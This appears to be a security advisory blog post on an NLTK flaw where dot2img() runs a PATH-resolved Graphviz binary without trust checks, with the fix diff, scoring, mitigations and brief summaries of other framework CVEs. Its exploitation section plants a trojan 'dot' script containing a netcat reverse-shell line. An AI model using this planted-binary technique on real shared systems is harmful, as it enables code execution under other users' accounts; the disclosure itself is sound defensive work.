Nov 16, 2026·11 min read·2 visits
NLTK prior to 3.10.4 executes the Graphviz 'dot' binary in nltk.parse.dependencygraph.dot2img via raw subprocess.run() rather than the hardened nltk.pathsec.spawn_trusted() chokepoint. Local attackers with write access to an earlier directory in a victim's PATH can plant a trojanized 'dot' binary to achieve arbitrary local code execution when dot2img() or DependencyGraph._repr_svg_() is called.
In Natural Language Toolkit (NLTK) versions prior to 3.10.4, the nltk.parse.dependencygraph.dot2img function resolves the Graphviz dot binary through the system PATH using find_binary('dot') and invokes it directly via subprocess.run() instead of routing execution through nltk.pathsec.spawn_trusted(). This omission bypasses file ownership validation, directory writability checks, and dynamic loader environment scrubbing. On multi-user POSIX systems where a victim's PATH contains a directory writable by a local low-privileged attacker, the attacker can plant a malicious dot binary that executes under the victim's privileges when dependency graphs are rendered.
The Natural Language Toolkit (nltk) is an open-source Python library used for natural language processing research, text analysis, and syntactic parsing. Within the parsing subsystem, the nltk.parse.dependencygraph module provides data structures and helper routines for representing and visualizing dependency grammars. To convert DOT language graph descriptions into visual formats such as SVG or PNG, the module exposes the dot2img() function, which interfaces with the external Graphviz dot command-line utility.
In NLTK versions prior to 3.10.4, nltk.parse.dependencygraph.dot2img() locates the Graphviz dot executable using nltk.internals.find_binary('dot') and passes the resolved path directly to subprocess.run(). While NLTK 3.10.x introduced the nltk.pathsec module as a hardened execution boundary to validate external binaries before execution, dot2img() was not updated to route process creation through nltk.pathsec.spawn_trusted().
This failure to enforce the trusted execution chokepoint results in an Untrusted Search Path (CWE-426) and Uncontrolled Search Path Element (CWE-427) vulnerability. Because dot2img() executes the resolved binary without invoking resolve_trusted_executable() or scrubbing dynamic loader environment variables via safe_env(), the function trusts any binary discovered along the search path regardless of filesystem ownership or directory permissions.
On shared or multi-tenant POSIX systems, if a user's PATH environment variable or GRAPHVIZ_DOT configuration includes a directory writable by other local users, an attacker can plant a malicious executable named dot. When the victim invokes dot2img() directly or renders a DependencyGraph object inside an interactive notebook environment via _repr_svg_(), the attacker's binary executes with the full privileges of the victim process.
To mitigate binary hijacking and untrusted search path vulnerabilities across third-party command-line integrations (such as Stanford CoreNLP, MaltParser, and Java wrappers), NLTK 3.10.x implemented a centralized security subsystem in nltk.pathsec. The core enforcement mechanism of this module is spawn_trusted(), which acts as a mandatory wrapper around subprocess.Popen.
When an external binary is executed through spawn_trusted(), NLTK performs three critical security operations prior to spawning the child process:
resolve_trusted_executable): The subsystem inspects the target executable, its immediate parent directory, and every ancestor directory up to the filesystem root. It verifies that each path component is owned exclusively by root (UID 0) or the current effective UID of the Python process. Furthermore, it checks the file mode bits to ensure that neither the binary nor its containing directories are world-writable (0o002) or group-writable (0o020) by untrusted groups, while rejecting symbolic link traps (O_NOFOLLOW).safe_env): Before execution, the environment dictionary passed to the child process is stripped of dangerous dynamic linker and runtime variables, including LD_PRELOAD, LD_LIBRARY_PATH, DYLD_INSERT_LIBRARIES, DYLD_LIBRARY_PATH, and PYTHONPATH.shell=False and passes an explicit argument vector (argv) to the operating system kernel.Following an earlier vulnerability remediation (CVE-2026-78680), nltk.internals.find_binary() was updated to block bare binary names from resolving against the current working directory (CWD), ensuring that find_binary('dot') returns an absolute filesystem path discovered via PATH or explicit environment variables (GRAPHVIZ_DOT). However, find_binary() itself only resolves the file path; it does not validate directory permissions or ownership.
In nltk/parse/dependencygraph.py, dot2img() took the absolute path returned by find_binary('dot') and passed it straight to subprocess.run([dot_binary, ...]). Because spawn_trusted() was bypassed, neither resolve_trusted_executable() nor safe_env() executed. Consequently, if find_binary('dot') resolved to an absolute path inside a world-writable or group-writable directory on the victim's PATH, Python executed the untrusted binary without raising a security violation.
In versions prior to 3.10.4, dot2img() in nltk/parse/dependencygraph.py resolved the dot executable and used conditional branches to determine whether subprocess.run() should handle standard input and output as text strings (for dot, dot_json, json, and svg formats) or raw byte streams.
# Vulnerable implementation in nltk/parse/dependencygraph.py (prior to 3.10.4)
def dot2img(dot_string, t="svg"):
try:
dot_binary = find_binary(
"dot",
searchpath=None,
env_vars=["GRAPHVIZ_DOT"],
url="https://graphviz.org/",
verbose=False,
)
except LookupError as e:
raise Exception("Cannot find the dot binary from Graphviz package") from e
try:
# VULNERABILITY: Direct invocation of subprocess.run bypasses nltk.pathsec
# No ownership validation on dot_binary or its parent directories,
# and no environment variable scrubbing (safe_env).
if t in ["dot", "dot_json", "json", "svg"]:
proc = subprocess.run(
[dot_binary, "-T%s" % t],
capture_output=True,
input=dot_string,
text=True,
)
else:
proc = subprocess.run(
[dot_binary, "-T%s" % t],
input=bytes(dot_string, encoding="utf8"),
)
return proc.stdout
except Exception:
raise Exception(
"Cannot create image representation by running dot from string: {}"
)Note also a functional defect in the else branch of the unpatched code: capture_output=True (or stdout=subprocess.PIPE) was omitted when rendering binary formats like png or pdf, causing proc.stdout to evaluate to None while still executing the untrusted binary.
Commit b002a7288c22db86fd6ca2d9526e3f91d6fda797 resolves the vulnerability by importing spawn_trusted from nltk.pathsec and replacing both subprocess.run() calls with a single hardened invocation followed by proc.communicate():
--- a/nltk/parse/dependencygraph.py
+++ b/nltk/parse/dependencygraph.py
@@ -23,6 +23,7 @@
from nltk.data import make_staging_dir
from nltk.internals import find_binary
+from nltk.pathsec import spawn_trusted
from nltk.pathsec import open as _secure_open
from nltk.tree import Tree
@@ -627,19 +628,22 @@ def dot2img(dot_string, t="svg"):
except LookupError as e:
raise Exception("Cannot find the dot binary from Graphviz package") from e
try:
- if t in ["dot", "dot_json", "json", "svg"]:
- proc = subprocess.run(
- [dot_binary, "-T%s" % t],
- capture_output=True,
- input=dot_string,
- text=True,
- )
- else:
- proc = subprocess.run(
- [dot_binary, "-T%s" % t],
- input=bytes(dot_string, encoding="utf8"),
- )
- return proc.stdout
+ # Route through the trusted-exec chokepoint like translate.api: verify
+ # the dot binary is on a path no other local user can swap, refuse a
+ # shell, and scrub the loader environment before exec (CWE-426/427/732).
+ text = t in ["dot", "dot_json", "json", "svg"]
+ proc = spawn_trusted(
+ dot_binary,
+ ["-T%s" % t],
+ stdin=subprocess.PIPE,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ universal_newlines=text,
+ )
+ stdout, _stderr = proc.communicate(
+ dot_string if text else bytes(dot_string, encoding="utf8")
+ )
+ return stdout
except Exception:
raise Exception(
"Cannot create image representation by running dot from string: {}"The patch aligns nltk.parse.dependencygraph.dot2img with other external tool wrappers in NLTK, such as nltk.translate.api. By passing dot_binary to spawn_trusted(), NLTK validates the binary and all parent directories via resolve_trusted_executable() prior to process creation. However, note that dot2img() wraps the spawn_trusted() call in a broad try...except Exception: block that raises a generic exception (Cannot create image representation by running dot from string: {} without formatting the placeholder). While this suppresses the specific Security Violation error message details when caught by dot2img(), it still aborts execution before execve() is reached.
Exploiting CVE-2026-128134 requires local access to a multi-user POSIX environment (such as a shared university research server, a multi-tenant data science workstation, or a shared container host) and a writable directory present in the target user's PATH ahead of the standard system binary directory (e.g., /usr/bin) or in the total absence of a system-wide Graphviz installation.
PATH environment variable contains a directory with overly permissive filesystem permissions (such as 0777 world-writable or 0775 group-writable for a shared group) located before /usr/bin, or the system lacks /usr/bin/dot and the writable directory appears anywhere in the victim's PATH.dot2img() directly or evaluates a DependencyGraph instance in an interactive environment like Jupyter Notebook or IPython.First, the attacker identifies a shared directory present in the victim's PATH (for example, /opt/shared/bin or a shared conda/virtualenv bin directory) that permits write access to the attacker's user or group.
The attacker places an executable script or ELF binary named dot inside that directory. To avoid alerting the victim during graph rendering, the payload can execute arbitrary background commands and then proxy standard input and arguments to the legitimate /usr/bin/dot binary:
cat << 'EOF' > /opt/shared/bin/dot
#!/bin/sh
# Execute payload under the victim's UID/GID
id > /tmp/.nltk_poc_id
(
nohup /bin/sh -c ' nc -e /bin/sh 127.0.0.1 4444 ' >/dev/null 2>&1 &
)
# Forward execution to the real Graphviz binary to return valid SVG output
if [ -x /usr/bin/dot ]; then
exec /usr/bin/dot "$@"
fi
EOF
chmod 0755 /opt/shared/bin/dotNext, the victim runs a script or evaluates a Jupyter Notebook cell that parses dependency grammar data and renders it:
from nltk.parse import DependencyGraph
conll_sample = """
1 The _ DT _ 2 det _ _
2 parser _ NN _ 3 nsubj _ _
3 executes _ VBZ _ 0 root _ _
"""
dg = DependencyGraph(conll_sample)
# In Jupyter/IPython, simply evaluating `dg` triggers dg._repr_svg_(),
# which internally calls dot2img(self.to_dot(), 'svg')
svg_output = dg._repr_svg_()When dg._repr_svg_() invokes dot2img(), find_binary('dot') searches the directories in PATH sequentially, locates /opt/shared/bin/dot, and returns that path. The unpatched dot2img() passes /opt/shared/bin/dot to subprocess.run(), executing the attacker's script under the victim's user context.
Successful exploitation of CVE-2026-128134 grants the attacker arbitrary code execution within the security context of the user running the NLTK process. In multi-user data science and academic environments, this allows lateral movement between user accounts, theft of proprietary datasets, access to cloud credentials or API keys stored in the victim's home directory, and manipulation of research artifacts.
The vulnerability is particularly relevant in interactive computing platforms such as JupyterHub or shared IPython servers. Because DependencyGraph implements the _repr_svg_() magic method, Jupyter automatically invokes dot2img() whenever a DependencyGraph object is the final expression in a notebook cell. A user inspecting parsed linguistic structures does not need to explicitly invoke dot2img() or be aware that an external binary is spawned.
The vulnerability is assigned a CVSS v3.1 base score of 7.8 (High) with vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H:
AV:L): Exploitation requires local write access to a filesystem directory on the victim's PATH.AC:L): Standard PATH resolution mechanics are deterministic and require no race conditions.PR:L): The attacker needs local privileges sufficient to write a file into a shared path element.UI:N): Scored as requiring no abnormal user interaction beyond standard execution of workloads that process dependency graphs.S:U): Code executes within the OS user boundary of the victim process.C:H/I:H/A:H): Complete compromise of the victim's user account confidentiality, file integrity, and process availability.The EPSS score for CVE-2026-128134 is 0.00184 (0.184%, 8.07th percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The low probability of mass exploitation reflects the local attack vector (AV:L) and the prerequisite of a misconfigured, writable PATH directory on a shared POSIX host.
Users and administrators should upgrade nltk to version 3.10.4 or later, where dot2img() routes execution through nltk.pathsec.spawn_trusted().
pip install --upgrade "nltk>=3.10.4"Once upgraded to 3.10.4, any attempt by dot2img() to execute a dot binary located in a world-writable or group-writable directory, or owned by an untrusted local user, will be blocked by resolve_trusted_executable() before process creation.
In environments where upgrading nltk immediately is not feasible, apply the following system-level and configuration mitigations:
PATH Permissions: Ensure that no directory listed in any user's PATH environment variable has group-writable (0o020) or world-writable (0o002) permissions, and verify that all PATH directories are owned by root or the respective user.python3 -c "
import os, stat
for p in os.environ.get('PATH', '').split(':'):
if os.path.isdir(p):
st = os.stat(p)
if st.st_mode & (stat.S_IWOTH | stat.S_IWGRP):
print(f'[!] Insecure writable PATH directory: {p} (mode: {oct(st.st_mode)})')
"GRAPHVIZ_DOT environment variable to point to the absolute path of a root-owned, non-writable Graphviz installation (such as /usr/bin/dot). In nltk.internals.find_binary(), env_vars=['GRAPHVIZ_DOT'] takes precedence over PATH traversal.export GRAPHVIZ_DOT="/usr/bin/dot"> [!NOTE]
> Ensure that /usr/bin/dot is installed before relying on GRAPHVIZ_DOT; if the file referenced by GRAPHVIZ_DOT does not exist, find_binary() falls back to searching the PATH.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
nltk Natural Language Toolkit | < 3.10.4 | 3.10.4 |
| Attribute | Detail |
|---|---|
| Vulnerability ID | CVE-2026-128134 / GHSA-7mxv-7h3q-9324 |
| Weakness Class | CWE-426 (Untrusted Search Path) / CWE-427 (Uncontrolled Search Path Element) |
| Attack Vector | Local (AV:L) via writable directory in PATH |
| CVSS v3.1 Score | 7.8 High (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| EPSS Score | 0.184% (8.07th percentile) |
| Affected Component | nltk.parse.dependencygraph.dot2img (NLTK < 3.10.4) |
| Security Impact | Arbitrary local code execution in the context of the calling user |
| CISA KEV Status | Not Listed |
The application searches for critical resources using an untrusted search path that can point to resources that are not under the application's direct control, enabling local attackers to plant malicious binaries.
A race condition in Next.js versions 16.3.0 through 16.4.4 allows cross-request cache poisoning and unauthorized information disclosure across root parameters. When an application invokes the same `'use cache'` function both directly during rendering and wrapped inside `unstable_cache()`, a concurrent `unstable_cache()` request arriving during a cold start cache fill joins the in-flight execution. Because the `unstable_cache()` execution context lacks root parameter tracking, the parameter mismatch verification fails, causing `unstable_cache()` to persist root-parameter-scoped data under a global cache key.
CVE-2026-128074 is an algorithmic complexity and Regular Expression Denial of Service (ReDoS) vulnerability in Nuxt versions 4.6.0 through 4.6.3. The flaw resides in the server-side rendering (SSR) runtime components responsible for payload URL generation and experimental early 404 route evaluation. By sending unauthenticated HTTP requests containing long sequences of repeated forward slashes followed by a non-slash character, an attacker can force the V8 regular expression engine into quadratic O(N^2) backtracking, blocking the single-threaded Node.js event loop and degrading application availability.
CVE-2026-128075 (GHSA-96x6-fvhx-49hg) is an information disclosure vulnerability in the Nuxt framework affecting versions 3.0.0 prior to 4.6.4. During Server-Side Rendering (SSR), unhandled non-HTTP exceptions thrown within pages, plugins, or route middleware are automatically wrapped using createError without being flagged as unhandled. Consequently, the production SSR serializer treats these internal exceptions as deliberate public HTTP errors and embeds their raw message and data properties—which frequently contain internal URLs, API credentials, and upstream response payloads—directly into the client-accessible __NUXT_DATA__ hydration state and JSON error responses.
CVE-2026-128076 is an improper encoding and delimiter injection vulnerability in the Nuxt framework affecting Server Components (NuxtIsland). The flaw serves as an incomplete fix for CVE-2026-46342, where the underlying object hashing routine fails to escape structural delimiters in property keys and string values. This enables attackers to craft distinct sets of component properties that resolve to an identical `/__nuxt_island/<Name>_<hash>.json` route path. In deployments relying on static prerendering or path-only CDN caching, this hash collision permits cache poisoning, content substitution, and Cross-Site Scripting (XSS) if island props flow into unescaped HTML sinks.
CVE-2026-128072 (GHSA-x2wv-5868-p7v2) is an origin validation vulnerability (CWE-346) in the Nuxt framework affecting the development middleware of @nuxt/webpack-builder and @nuxt/rspack-builder. Prior to version 4.6.4, the internal same-origin verification logic evaluated Sec-Fetch-Site, Origin, and Referer headers without first validating that the HTTP Host header belonged to an authorized hostname allowlist. This flaw allows a remote attacker to execute a DNS rebinding attack against a developer's local workstation, bypassing same-origin protections to read compiled client-side JavaScript chunks, inline source maps, local filesystem paths, and embedded client configuration values.
CVE-2026-128087 (GHSA-9264-jvgf-6w2f) is an incorrect behavior order (CWE-696) and improper authorization (CWE-863) vulnerability in the russh Rust SSH library, affecting versions 0.55.0 through 0.65.0. During the initial SSH key exchange (KEX) handshake, the client state machine invokes the client::Handler::kex_done() callback—providing the negotiated raw shared secret bytes—prior to validating the remote server's host key or certificate via check_server_key(). Consequently, an untrusted or rogue SSH server can complete cryptographic key agreement and force a connecting client to execute side-effecting application logic inside kex_done() before the server's identity is checked and rejected.